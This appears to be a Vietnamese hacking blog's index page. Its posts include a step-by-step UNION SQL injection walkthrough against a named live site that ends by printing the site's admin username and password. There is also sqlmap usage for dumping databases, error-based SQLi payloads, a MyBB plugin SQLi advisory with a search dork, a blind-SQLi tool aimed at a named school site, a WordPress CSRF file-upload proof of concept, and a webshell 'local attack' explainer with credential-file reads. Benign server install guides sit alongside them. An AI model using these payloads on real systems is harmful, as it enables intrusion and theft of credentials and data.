Dương-UG Blog's

Cách bảo vệ Admincp của diễn đàn Vbulletin​

Những việc mà các bạn cần tìm hiểu và làm đó là:
1. Đổi tên (rename) cho cái thư mục admincp gốc của nó thành 1 cái tên khác mà các bạn chắc chắn chỉ có các admin có thể biết. Nhưng không sửa lại path trong file /includes/config.php. Ai không biết rename thì pm sent user + pass vps hay host qua inbox ccb Drop dùm cho :))
vd: Aitimduocadmincpnaykhong

2. Đặt mật khẩu bảo vệ thư mục cho cái thư mục admincp fake (Aitimduocadmincpnaykhong) này, có nhiều cách như add code vào global.php, index.php, hay đơn giản là cứ .htaccess + .htpasswd mà táng. Mấy bài hướng dẫn dạng này nhiều vô số kể các bạn tìm rồi làm theo thôi.

3. Thực hiện 2 bước dưới đây để chống lại việc tìm ra path thật bằng những tính năng có sẵn của Vbulletin.
a. Phân quyền lại cho các nhóm từ Mod
-> Cao nhất không cho xem Location của thành viên khác khi dùng chức năng Who's online nhiều bản việt hóa nó dịch thành "phúc trình vãng lai" gì đó trên forum. Cách phân quyền như sau: Login vào admincp trước rồi vào
Admin CP -> Usergroups -> Usergroup Manager -> Edit Usergroup -> Who's Online Permissions -> Can View Detailed Location Info for Users -> No
Save lại và làm tương tự cho các nhóm (Group) còn lại thế là xong phần phân quyền tránh dòm ngó.

b. Giới hạn Current activity (hoạt động hiện tại) trên các tài khoản có quyền truy cập vào admincp fake đó. bằng cách sửa code trong tempate đang sài. để không cho hiển thị những thông tin có thể làm lộ location của admin khi đang hành sự trên diễn đàn. Login vào admincp rồi vào

Styles & Templates -> Search in Templates -> tìm với skin muốn sửa và tìm với từ khóa : current activity
-> ra cái kết quả màu mè MEMBERINFO -> click vào nó và tìm tiếp với từ current activity sẽ thấy đoạn code như sau:


PHP:

Xem Thêm

 

SQL UNHEX --- 403 --- LIMIT.

SQL UNHEX --- 403 --- LIMIT.



Please no modific nothing in this website ..only i share it for education only check what u are in and get out .... THANKS





http://ibms.co/about.php?pid=34 ### is ok ###


http://ibms.co/about.php?pid=34' ### error ##


Fatal error: Call to a member function fetch_assoc() on a non-object in /home/ibms/public_html/module/class.tbl.php on line 45


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


http://ibms.co/about.php?pid=34+order+by+1--+- ### is ok ###
http://ibms.co/about.php?pid=34+order+by+10--+- ### is ok ###
http://ibms.co/about.php?pid=34+order+by+20--+- ### is ok ###
http://ibms.co/about.php?pid=34+order+by+30--+- ### is ok ###
http://ibms.co/about.php?pid=34+order+by+40--+- ### is ok ###
http://ibms.co/about.php?pid=34+order+by+50--+- ### is ok ###
http://ibms.co/about.php?pid=34+order+by+60--+- ### is ok ###

WTF i'm drunk ....mmm not ... here the solution ..add ---> ' <---

example: /about.php?pid=34'+order+by+1--+-

http://ibms.co/about.php?pid=34'+order+by+1--+-

start again

http://ibms.co/about.php?pid=34'+order+by+1--+- ### is ok ###
http://ibms.co/about.php?pid=34'+order+by+10--+- ### is ok ###
http://ibms.co/about.php?pid=34'+order+by+20--+- ### is ok ###
http://ibms.co/about.php?pid=34'+order+by+30--+- ### error ###
http://ibms.co/about.php?pid=34'+order+by+29--+- ### error ###
http://ibms.co/about.php?pid=34'+order+by+28--+- ### error ###
http://ibms.co/about.php?pid=34'+order+by+27--+- ### error ###
http://ibms.co/about.php?pid=34'+order+by+26--+- ### error ###
http://ibms.co/about.php?pid=34'+order+by+25--+- ### is ok ###

Fatal error: Call to a member function fetch_assoc() on a non-object in /home/ibms/public_html/module/class.tbl.php on line 45

ok 25 Tables
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

now union+select

http://ibms.co/about.php?pid=34'+union+s...,24,25--+-

D: damn 403 f**k... i not want live in this world anymore...this website is secure D: ......


don't worry here the solution

add ( and )

example: /about.php?pid=34'+union+(select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25)--+-


http://ibms.co/about.php?pid=34'+union+(...24,25)--+-


done... now is ok again ..but not show the f**k column vulnerable...

only add ---> - <---

example: /about.php?pid=-34'+union+(select+1,2,3,

http://ibms.co/about.php?pid=-34'+union+...4​,25)--+-


well now show columns 6 and 7

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++​+++++++

now

add: unhex(hex(table_name)) +from+information_schema/**/.tables+where+table_schema=database()+LIMIT+0,200--+-

example

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+information_schema/**/.tables+where+table_schema=database()+limit+0,200)--+- ### ( show "Admin" ) ###

done luck today in the first table ---admin is Admin Meh ok next

change the 0 by LIMIT to 1

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+information_schema/**/.tables+where+table_schema=database()+limit+1,200)--+- ### ( show "Contact" ) ### ok leave it . already have the name ... is admin u see it before ...

ok now columns

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++​+++++++

############# now the columns ############


add: +union+select+1,unhex(hex(column_name)) +from+information_schema/**/.columns+where+table_schema=database()+LIMIT+0,200--+-


example:

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+information_schema/**/.columns+where+table_schema=database()+limit+0,200)--+- ### ( show "Id" ) ###

but we need user and pass.let's go to search it only change +LIMIT+0,200--+- TO +LIMIT+1,200--+-

and +LIMIT+2,200--+- and +LIMIT+3,200--+- etc....



########## this show username or admin user #################

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+information_schema/**/.columns+where+table_schema=database()+limit+1,200)--+- ###( show "Username" )###

done here the username but continue searching for the pass .....change it for 2 and 3 etc ...


########### this show password #################

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+information_schema/**/.columns+where+table_schema=database()+limit+2,200)--+- ###( show "Password" )###

well username and password by admin

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++​++++++++++++++++++++++++++++++++++++++
+++++++++++++++++

now dump dates ...

add: unhex(hex(username)) and +from+admin)--+-

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+admin)--+-

###( show "admin" ) = username = admin) ###



now column "password"

example: unhex(hex(password)),3,4,5,6, and +from+admin--+-

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+admin)--+-

###( show "Ibmsanusha" ) = password = Ibmsanusha )###


Done..Enjoy testing others Websites.



REMEMBER

Please no modific nothing in this website ..only i share it for education only check what u are in and get out .... THANKS

Xem Thêm

 

Cài Đặt Apache2 Với Php5 Và Hỗ Trợ Mysql Trên Ubuntu 11.10

LAMP là chữ viết tắt thường được dùng để chỉ sự sử dụng các phần mềm Linux, Apache, MySQL và ngôn ngữ văn lệnh PHP hay Perl hay Python để tạo nên một môi trường máy chủ Web có khả năng chứa và phân phối các trang Web động. Bài viết sau sẽ hướng dẫn các bạn cài đặt máy chủ web Apache2 trên Ubuntu 11.10 server với PHP5 hỗ trợ cho mod_php và MySQL.

Lưu ý chung

Trong phần minh họa này chúng tôi sử dụng hostname server1.example.com với địa chỉ IP 192.168.0.23. Bạn có thể thay đổi sao cho phù hợp với mình.

Các bước sau cần chạy với quyền root, vì vậy bạn có thể chạy lệnh:


để đăng nhập với quyền root.

Cài đặt MySQL 5

  • Đầu tiên chúng ta sử dụng lệnh sau để cài đặt MySQL 5:


  • Bạn sẽ được yêu cầu cung cấp một mật khẩu cho MySQL của user root – đây là mật khẩu có giá trị cho người dùng root@localhost cũng như root@server1.example.com, vì thế chúng ta sẽ chỉ định một password cho MySQL:
New password for the MySQL “root” user: <– Mat khau root SQL
Repeat password for the MySQL “root” user: <– Mat khau root SQL

Cài đặt Apache2

Apache2 có sẵn trong gói Ubuntu, người dùng chỉ cần sử dụng lệnh sau để cài đặt:



Bây giờ nhập vào đường dẫn http://192.168.0.23 trong trình duyệt của mình, bạn sẽ thấy trang của Apache2:

[​IMG]

Theo mặc định, thư mục root của Apache2 thuộc /var/www trong Ubuntu, và tập tin cấu hình của nó là/etc/apache2/apache2.conf. Các cấu hình bổ sung được lưu trữ trong thư mục con của thư mục /etc/apache2, chẳng hạn /etc/apache2/mods-enabled (cho các module Apache), /etc/apache2/sites-enabled (cho virtual hosts), và /etc/apache2/conf.d.

Cài đặt PHP5

Chúng ta tiến hành cài đặt PHP5 và module Apache PHP5 bằng lệnh:

Sau đó khởi động lại Apache:

Thử nghiệm PHP5 và ghi nhận thông tin về quá trình cài đặt

Theo mặc định, thư mục root của website là /var/www. Chúng ta sẽ tạo một tập tin php nhỏ (info.php) trong thư mục này và gọi nó trên trình duyệt. Tập tin này sẽ hiển thị các thông tin hữu ích về trình cài đặt PHP, chẳng hạn như phiên bản của PHP hiện tại.


1
<?phpphpinfo();?>


Bây giờ chúng ta gọi file này trên trình duyệt (192.168.0.23/info.php).

[​IMG]

Với hình ảnh trên cho thấy PHP5 đang hoạt động thông qua Apache 2.0 Handler (hiển thị tại dòng Server API). Nếu di chuyển tiếp xuống bên dưới bạn sẽ thấy các module đã được kích hoạt trong PHP 5. MySQL không được liệt kê có nghĩa là PHP5 không hỗ trợ MySQL. Chúng ta khắc phục bằng cách dưới đây:

“Bắt” PHP5 hỗ trợ MySQL

Để MySQL được hỗ trợ trong PHP5, chúng ta cần cài đặt gói php5-mysql. Đây là việc làm tốt để cài đặt các module khác của PHP5 cũng như những ứng dụng cần thiết về sau.

Tìm kiếm những module có sẵn của PHP5:


Chọn những gì cần cài đặt:


Cuối cùng restart Apache2:





Bây giờ bạn hãy tải lại trang 192.168.0.23/info.php trên trình duyệt của mình, kéo xuống dưới lần nữa bạn sẽ thấy những module mới, bao gồm cả MySQL:

[​IMG]

phpMyAdmin

PhpMyAdmin là một giao diện web, thông qua đó bạn có thể quản lý cơ sở dữ liệu MySQL. Vì vậy khuyến cáo bạn nên cài đặt nó.


Bạn sẽ nhận được câu hỏi sau:

web server to reconfigure automatically: <– nhập apache2
Configure database for phpmyadmin with dbconfig-common? <– nhập No

Sau đó bạn có thể truy cập vào phpMyAdmin theo 192.168.0.23/phpmyadmin/:

[​IMG]

Xem Thêm

 

Hướng dẫn sử dụng SqlMap Backtrack 5

Hi, in this tutorial, I’ll be showing you a simple SQL Injection using BackTrack 5.

Quote:
[dbname] = Database name; [tbname] = Table name; [cmname] = Column name.

1. Open up sqlmap
This image has been resized.Click to view original image

2. One we load the terminal, we wanna find a vunerable site.
Use any dork or check any posted vulns 3. Now, it’s time for the codes
Quote:
./sqlmap.py -u website.com/index.php?id=? --dbs
With this command, you’ll be able to extract the databases.
Looks like this:


3. Once we have the DBS, it’s time to get the tables.
Quote:
./sqlmap website.php/index.php?id=? -D [dbname] --tables
4. After we get the tables which looks like this:

We need to get the columns.
Now, we need to write:
Quote:
.sqlmap.py -u website.com/index.php?id=? -D [dbname] -T [tbname] --columns
5. Once we get the columns
This image has been resized.Click to view original image

We need to dump the files.
Quote:
.sqlmap.py -u website.com/index.php?id=? -D [dbname] -T [tbname] -C [cbname] --dump
Example .sqlmap.py -u website.com/index.php?id=? -D information_shema -T users -C username --dump
6. After we do this, we will get encrypted password.
How to decrypt!?
You can decrypt online, or using the aforementioned hash.py.
How to use Hash.py!?
Download link for Hash.py
http://uploading.com/ee6e71ed/hash-py
1. Move it to /root
2. Open up your BT5 Terminal
3. Locate your file, in our case /root/hash.py
Quote:
/root/hash.py
We have Online & Offline attack methods.
If you wanna use the offline method, you need a wordlist.

Xem Thêm

 

MyBB Ajaxfs 2 Plugin - SQL Injection Vulnerability

###########################

# Mybb Ajaxfs Plugin Sql Injection vulnerability

###########################

#################################
#
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@
#
#####################################

# Exploit Title : Mybb Ajaxfs Plugin Sql Injection vulnerability

# Author : Iranian Exploit DataBase

# Discovered By : IeDb

# Email : [email protected] - [email protected]

# Home : http://iedb.ir - http://iedb.ir/acc

# Fb Page : https://www.facebook.com/pages/Explo...99266860256538

# Software Link : http://mods.mybb.com/download/ajax-forum-stat-v-2

# Security Risk : High

# Tested on : Linux

# Dork : inurl:ajaxfs.php

#################################

1)

if(isset($_GET['tooltip']))
{
$pid=$_GET['tooltip'];
$query_post = $db->query ("SELECT * FROM ".TABLE_PREFIX."posts WHERE pid='$pid'");


2)

if(isset($_GET['usertooltip']))
{
$uid=$_GET['usertooltip'];
$query_user = $db->query ("SELECT * FROM ".TABLE_PREFIX."users WHERE uid='$uid'");

http://localhost/Upload/ajaxfs.php?usertooltip=1'

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

Google DORK : inurl:ajaxfs.php


# Exploit :

# http://site.com/mybb/ajaxfs.php?tooltip=[sql]

# http://site.com/mybb/ajaxfs.php?usertooltip=[sql]


#################################

# Tnx To : All Member In Iedb.ir/acc & Iranian Hackers

#################################

Xem Thêm

 

Tool] Quick Blind SQL Injection script

Đây là script được code bằng python…Tự động khai thác dạng sql injection quick blind

Điều kiện: cài python và wget cho python

Gồm 2 class…(thật ra 1 cũng được nhưng để dành phát triển) và 1 hàm main

Các bạn có chỉnh sửa gì cứ mở file main.py ra sửa nha.

Ví dụ:

inject_link = ‘http://edu.hiast.edu.vn/index.php?pg=tintuc&task=chitiet&p2=26&p3=4331 ‘

Các bạn có thể đổi thành site xpath bất kỳ với định dạng caigido=sogido (sorry, mới làm được dạng này)

Lang man quá, đây là link tải Big Grin

sqli: Base class

sqli quick blind: Quick blind exploit

main application

Demo:





















































[Hình: Untitled12.png]

Xem Thêm

 

[TUT] Khai thác lỗi SQL Injection dạng error-based quick blind

Ví dụ victim có dạng:

http://target.com/page.php?id = 1

Lệnh get version, database

http://target.com/page.php?id = 1 [color=#ffffffff]And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)[/color]

Tương tự vậy, lệnh get table:

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Bạn để ý chỗ 1,145…Tăng số 1 đó thành một số lớn hơn (thường là số ký tự được trả ra trong dấu ngoặc kép sau phần duplicate entrie….)

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),63,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tiếp theo, lấy column của một table nào đó

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=0xso_hex_cua_tablename) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tăng số 1 theo nguyên tắc như trên.

Và cuối cùng là dữ liệu:

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name_1,0x7c,column_name_2),1,145) FROM table_name_nao_do) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

CEH

Xem Thêm

 

Backdoor trong modem D-Link và khai thác

Một người bạn đã đưa cho tôi bài viết này.

Backdoor trong modem D-Link và khai thác với chrome

reverse engineering đối với firmware của modem D-Link và phát hiện trong đó có một cách có thể để bất cứ người nào truy cập trực tiếp vào modem D-Link.

Rõ ràng đây là dụng ý của nhà sản xuất firmware…Đoạn code có dạng:


Mã:

Xem Thêm

 

WordPress Curvo Themes - CSRF File Upload

################################################## #################################################
# Exploit Title: WordPress Curvo Themes CSRF File Upload Vulnerability
# Author: Byakuya
# Date: 10/26/2013
# Vendor Homepage: http://themeforest.net/
# Themes Link: http://www.wphub.com/themes/curvo-by-themeforest/
# Infected File: upload_handler.php
# Google dork: inurl:/wp-content/themes/curvo/
################################################## #################################################

# Exploit & POC :

<form enctype="multipart/form-data"
action="http://127.0.0.1/wordpress/wp-content/themes/curvo/functions/upload-handler.php" method="post">
<input type="jpg" name="url" value="./" /><br />
Please choose a file: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

#File path:
http://site.com/wordpress/wp-content/uploads/[FILE]
or
http://site.com/wordpress/wp-content/uploads/[year]/[month]/[FILE]

Xem Thêm

 

Hướng dẫn cài đặt XenServer 6 và XenCenter

Yêu cầu hệ thống

XenServer chạy trực tiếp trên phần cứng đồng nghĩa với việc sẽ không có bất cứ thứ gì nằm giữa phần cứng và XenServer. Nói cách khác, XenServer đúng nghĩa là một hệ điều hành. Nó sẽ giao tiếp trực tiếp với phần cứng, gồm cả card mạng (NIC) và bộ điều khiển lưu trữ.

Chương trình yêu cầu CPU 64 bit kích hoạt Intel VT hoặc AMD-V. Nhưng, đây chỉ là khuyến nghị từ nhà cung cấp. XenServer vẫn có thể được cài nếu CPU không được kích hoạt Intel VT hay AMD-V. Tuy nhiên, các tiện ích và tính năng sẽ bị hạn chế.

Nhớ rằng, XenServer là một chương trình ảo hóa một phần. Nó sử dụng kỹ thuật ảo hóa một phần trong ảo hóa server. Do đó, chương trình đòi hỏi bộ xử lý trên server vật lý có khả năng thực hiện công nghệ ảo hóa để ta có thể tận dụng hết khả năng của nó.

Người dùng cần tối thiểu 2GB RAM chỉ để cài đặt XenServer, nhưng theo khuyến nghị, nên sử dụng ít nhất 8GB RAM, đặc biệt nếu người dùng dự định tạo nhiều máy ảo trên đó. Bản thân XenServer yêu cầu 16GB bộ nhớ nhưng, ta sẽ cần nhiều không gian hơn cho máy ảo.

Chương trình có thể hoạt động với một bộ điều khiển NIC 100Mb. Tuy nhiên, bộ điều khiển một Gigabit hay thậm chí 10Gigabit được khuyến nghị.

Phần cứng cho XenServer

Có thể đặt 1TB RAM, 16 NIC và 64 bộ xử lý logic trên một máy chủ (host) vật lý chạy XenServer. Nhớ rằng các bộ xử lý logic là sự kết hợp của nhiều lõi.

Hãy kiểm tra danh sách phần cứng tương thích (HCL) tại hcl.xensource.com trước khi trả tiền mua phần cứng hay thiết bị ngoại vi dự đính gắn vào server.

Trong hầu hết trường hợp, khi người dùng tìm đến một nhà cung cấp phần mềm và bảo cho họ cái mình định làm với server (ví dụ làm XenServer), trước hết, nhà cung cấp sẽ kiểm tra tính tương thích. Tuy nhiên, hãy kiểm tra các phần cứng như thiết bị ngoại vi, NIC… trong HCL để tránh những phát sinh trong quá trình cài đặt và sử dụng sau đó.

XenServer thực ra được cài trên phần cứng lớp server. Tuy nhiên, do là một bản phân phối Linux và do đang sử dụng kỹ thuật ảo hóa một phần nên nó có thể tương thích với nhiều loại máy để bàn hay thậm chí là laptop.

Vì vậy, nếu muốn thử nghiệm, người dùng có thể cài XenServer lên một laptop hay trên một máy trạm, chương trình sẽ vẫn hoạt động.

Tải Citrix XenServer 6 và XenCenter

Tải XenServer và XenCenter từ http://www.citrix.com/xenserver. Hoặc nếu có tài khoản MyCitrix, bạn có thể truy cập vào http://www.citrix.com/mycitrix để tải chương trình.

XenServer có dung lượng 508MB (file đuôi ISO) và XenCenter là 41MB.

Cài đặt XenServer thì nhanh và dễ dàng. Sau đây là các bước cài đặt:

Ghi file ISO vào một đĩa CD và cho đĩa vào ổ đĩa quang hoặc bung file bằng phần mềm như MagicISO.
Hãy đảm bảo VT (hay AMD-V) được kích hoạt trong BIOS của server.
Khởi động từ đĩa CD.
Đáp ứng các truy vấn thiết lập cơ bản và khởi động lại.
Thực hiện những cấu hình ban đầu, như gán địa chỉ IP, host name, mật khẩu…
Kết nối vào XenServer qua XenCenter.


Quá trình cài đặt chỉ mất khoảng 10 phút.
Yêu cầu cài đặt XenCenter

Citrix XenCenter là một ứng dụng nền Windows có thể được cài trên máy thật hoặc máy ảo.

Chương trình tương thích với bất cứ phiên bản Windows nào: Windows XP, Vista, 7, Server 2003, 2008 và 2008RC. XenCenter yêu cầu .NET Framework 3.5.

Yêu cầu được khuyến nghị như sau: Tần số 1GHz, RAM tối thiểu 2GB, tốc độ NIC ít nhất 100Mbps và độ phân giải màn hình tối thiểu 1024x768. Chương trình chiếm 100MB không gian đĩa cứng.
Cài đặt XenServer
http://www.thuvien-it.net/home/tinhoc/vi...eadid=7978

Xem Thêm

 

Tìm hiểu về Local Attack

I. Khái niệm chung


  • Thông thường, khi host một site lên server thì người dùng sẽ được cấp một tài khoản người dùng và một thư mục để quản lý site của mình. Ví dụ tài khoản user1 được cấp thư mục /home/user1 để quản lý site của user1. Tương tự như vậy, tài khoản user2 được cấp thư mục /home/user2 để quản lý site của user2. Bằng cách nào đó, hacker có thể chiếm giữ /home/user2 và dùng các script (shell) để truy nhập vào /home/user1. Cách thức tấn công dựa vào các script ở site của user này để tấn công vào site của user khác trên cùng một server được gọi là Local Attack.





  • Như vậy, Local Attack chỉ diễn ra ở các shared-server, nơi mà có nhiều site cùng được đặt trên đó. Với các site đặt trên một server riêng biệt thì tất nhiên không xảy ra hình thức tấn công này.
  • Điểm mấu chốt của tấn công Local Attackhacker đã chiếm được quyền điều khiển một site nằm trên shared-server đó và sử dụng nó làm bàn đạp tấn công các site khác cùng server. Điều này có thể hiểu đơn giản là hacker đã upload được một web-shell (phổ biến như r57, c99…) lên site của user2 (site này đặt tại /home/user2) và dùng web-shell này để tấn công sang site của user1 (được đặt tại /home/user1). Để có được web-shell trên một site để dùng làm bàn đạp, hacker có thể lợi dụng các lỗ hổng của site đó như SQL injection, XSS,… Thậm chí, hacker có thể mua một host nằm trên cùng server với site đó rồi tự upload web-shell lên và tiến hành Local Attack.


II. Một số kiến thức cần biết

1. Host và Shared Hosting


  • Thông thường đối với web site, dữ liệu của nó phải được lưu trên 1 máy chủ (server) luôn hoạt động và kết nối với mạng internet. Khoảng không gian bộ nhớ trên máy chủ sử dụng để lưu trữ dữ liệu của website được gọi là host.
  • Đối với một số cơ quan tổ chức, việc thuê hẳn 1 server để lưu trữ dữ liệu website là không thiết thực. Do nhu cầu của họ chỉ đơn giản là lưu trữ, hơn nữa giá thành thuê 1 server cũng không phải là rẻ. Chính vì vậy, shared hosting là một lựa chọn hợp lý. Với shared hosting, không gian bộ nhớ trên server được chia thành nhiều host nhỏ, riêng biệt với nhau và đều cho thuê. Do vậy trên 1 server sẽ chứa dữ liệu của nhiều website và đó cũng là ngọn nguồn của cho local attack phát triển.


2. Hệ thống phân quyền

  • Không giống như windows, hệ điều hành Linux có hệ thống phân quyền khá phức tạp và chặt chẽ.
  • Linux hỗ trợ 3 quyền làm việc cơ bản:
r: quyền đọc (read)
w: quyền ghi (write)
x: quyền thực thi (execute)
- : không cho phép.
  • Các quyền này được chỉ định cho 3 đối tượng:

u : người sở hữu (owner)
g : nhóm sở hữu (group)
o : các người sử dụng thông thường (other)



  • Quyền cho 1 file hay thư mục được biểu hiện như sau :

– rwx rwx rwx

đặc tính owner group other
Ký tự thứ nhất: xác định kiểu của file.

- : regular file (text, binary, executed file)
d : thư mục
c/b : device file
l : link file

9 ký tự kế tiếp: xác định quyền đọc, ghi, thực thi đối với người sở hữu, nhóm sở hữu và người dùng còn lại.


  • Thay đổi nhóm/người sở hữu: chown, chgrp
    • Thực hiện bởi root hoặc người sở hữu.
    • Thay đổi người sở hữu:
    • chown user_name file_name
    • Thay đổi nhóm sở hữu:
    • chgrp group_name file_name

  • Thay đổi quyền truy cập: chmod
    • Cú pháp :
chmod quyền đối tượng


  • Ví dụ :
Muốn thêm quyền ghi cho nhóm đối với thư mục shell ta dùng lệnh :
chmod g+x shell
g+x cho biết sẽ thêm quyền ghi (w) vào đối tượng group (g).Tương tự các quyền khác với các đối tượng khác.
Muốn loại bỏ hoàn toàn quyền của đối tượng group ta dùng lệnh :
chmod g-rwx shell
Quyền của file (thư mục) trong câu lệnh chmod còn được biểu hiện bằng các các số theo qui luật sau :


r : quyền đọc (read) = 4
w : quyền ghi (write) = 2
x : quyền thực thi (execute) = 1
- : không cho phép = 0


Giả sử muốn:
owner quyền đọc, ghi, thực thi (4+2+1=7)
group quyền đọc và ghi (4+2=6)
người dùng khác (other) quyền thực thi (=1)

Ta làm như sau :
chmod 761 shell


  • Quyền truy cập đối với tệp tin
    • Quyền đọc (r – read): tức người dùng có thể đọc nội dung của file.
    • Quyền ghi (w – write): tức là người dùng có thể ghi nội dung vào file.
    • Quyền thực thi (x – execute): nếu file là file thực thi (chạy) thì người dùng có thể chạy file này.
  • Quyền truy cập đối với thư mục
    • Quyền đọc (r – read): tức người dùng có thể liệt kê danh sách tên file thông qua lệnh ls.
    • Quyền ghi (w – write): tức là người dùng có thể tạo hoặc xóa file trong thư mục.
    • Quyền thực thi (x – execute): cho phép người dùng nhảy vào trong thư mục (lệnh cd).
    • Quyền đọc và thực thi không phụ thuộc vào nhau.

3. Webshell


  • Đối với hệ điều hành Linux, khái niệm shell có lẽ đã quá quen thuộc với người dùng. Shell được hiểu như là 1 phần mềm cung cấp cho người dùng giao diện để giao tiếp với phần nhân của hệ điều hành.
  • Tương tự với shell, webshell là một shell với giao diện web cho phép người dùng tương tác với hệ thống. Sự ra đời của webshell đã giúp các nhà quản trị đơn giản hóa công việc quản lý server của mình rất nhiều. Các quản trị viên có thể thực hiện các thao tác như copy, xóa, di chuyển, download, upload các file… với chỉ vài cú click chuột đơn giản. Với những tính năng ưu việt này, nhưng khi rơi vào tay hacker, webshell lại trở thành 1 công cụ đáng sợ giúp thâm nhập hệ thống. Dần dần, dựa trên những webshell “nguyên thủy”, các hacker đã thêm vào nhiều tính năng, tạo nên webshell riêng phục vụ cho mục đích xấu của mình.
  • Một số webshell nổi tiếng: webadmin, r57, c99…

Các bước tấn công local attack


Bước 1: Xác định mục tiêu

Việc đầu tiên hacker sẽ xác định mục tiêu tấn công là site www.victim.com. Sau khi xác định mục tiêu, hacker sẽ tìm xem có những site nằm trên cùng server với victim. Điều này được thực hiện dễ dàng thông qua 1 số công cụ reverse ip:


myIPneighbors
seologs
huehacker
Whois
FreeReverseIp

Bước 2: Chiếm quyền điều khiển một site cùng server với mục tiêu

Khi đã tìm được các website có cùng server với victim, hacker sẽ chọn các website có hệ thống an ninh lỏng lẻo nhất và tấn công bằng các phương pháp: SQL injection, Reverse Directory Transversal, khai thác các bug… Việc này được thực hiện cho đến khi hacker chiếm quyền kiểm soát 1 website và upload được webshell của mình lên đó.

Bước 3: Thu thập thông tin về mục tiêu
Sau khi đã có webshell, hacker sẽ dò tìm, thu thập tất cả các thông tin về website victim như chạy dưới quyền user nào, thư mục gốc, được phân quyền ra sao… Bước này là bước quan trọng trong quá trình cuộc tấn công mục tiêu. Thông thường hacker sẽ sử dụng các câu lệnh sau để hiển thị các thông tin cần thiết:

cat /etc/passwd

cat /etc/valiasse


Tập tin /etc/passwd chứa thông tin về danh sách các user. Tập tin /etc/valiasse chứa thông tin về danh sách các site nằm trên server. Từ hai tập tin này, hacker có thể phỏng đoán được user ứng với mỗi website và đặc điểm của user đó cũng như tìm được thư mục gốc.

Bước 4: Tấn công trực tiếp mục tiêu
Sau khi có được các thông tin cần thiết như trên, hacker sẽ tiến hành tấn công trực tiếp mục tiêu. Nếu mục tiêu được cấu hình không tốt, hacker có thể đọc được các thông tin quan trọng như cấu trúc các thư mục, nội dung các file cấu hình của php, mysql như username, password của cơ sở dữ liệu… Thậm chí hacker có thể tiếp tục upload webshell lên side của mục tiêu để tạo backdoor cho các lần tấn công sau đó.
Khi đã có trong tay thông tin đăng nhập vào cơ sở dữ liệu thì việc còn lại của hacker chỉ là lấy cắp hoặc thay đổi các thông tin của website, điều này càng trở nên dễ dàng khi nội dung cơ sở dữ liệu không được mã hóa. Tệ hơn, hacker có thể xóa toàn bộ dữ liệu của website.

Bản chất – nguyên nhân
Qua việc phân tích các bước tấn công như trên, chúng ta có thể thấy nguyên nhân sâu xa gây ra Local Attack là do việc phân quyền không chặt chẽ của quản trị server cũng như quản trị website. Trong bốn bước tấn công trên thì bước 3 và bước 4 là hai bước mà hacker tấn công trực tiếp vào server và website mục tiêu. Ở bước 3, do việc phân quyền các file quan trọng như /etc/passwd của quản trị server không kĩ nên hacker có thể lấy được các thông tin về user trong file này. Ở bước 4, trách nhiệm lại thuộc về quản trị website khi cấu hình phân quyền các file, thư mục không tốt khiến hacker có thể dễ dàng hiện được cấu trúc thư mục cũng như đọc được các thông tin quan trọng khác.

Đối với thư mục, cấu hình phân quyền mặc định trong Windows là 777, trong Linux là 755. Còn đối với file, cấu hình phân quyền mặc định trong Windows là 666 và trong Linux là 644. Với cấu hình lỏng lẻo như thế này, hacker có thể dễ dàng xem được các thông tin quan trọng về hệ thống cũng như các thông tin quan trọng trong file cấu hình bằng lệnh ls, cat

Giải pháp
Có rất nhiều biện pháp phòng chống Local Attack, đòi hỏi sự phối hợp chặt chẽ từ cả 2 phía: quản trị server (hosting provider) và quản trị web (customer).

1. Từ phía quản trị server (hosting provider)

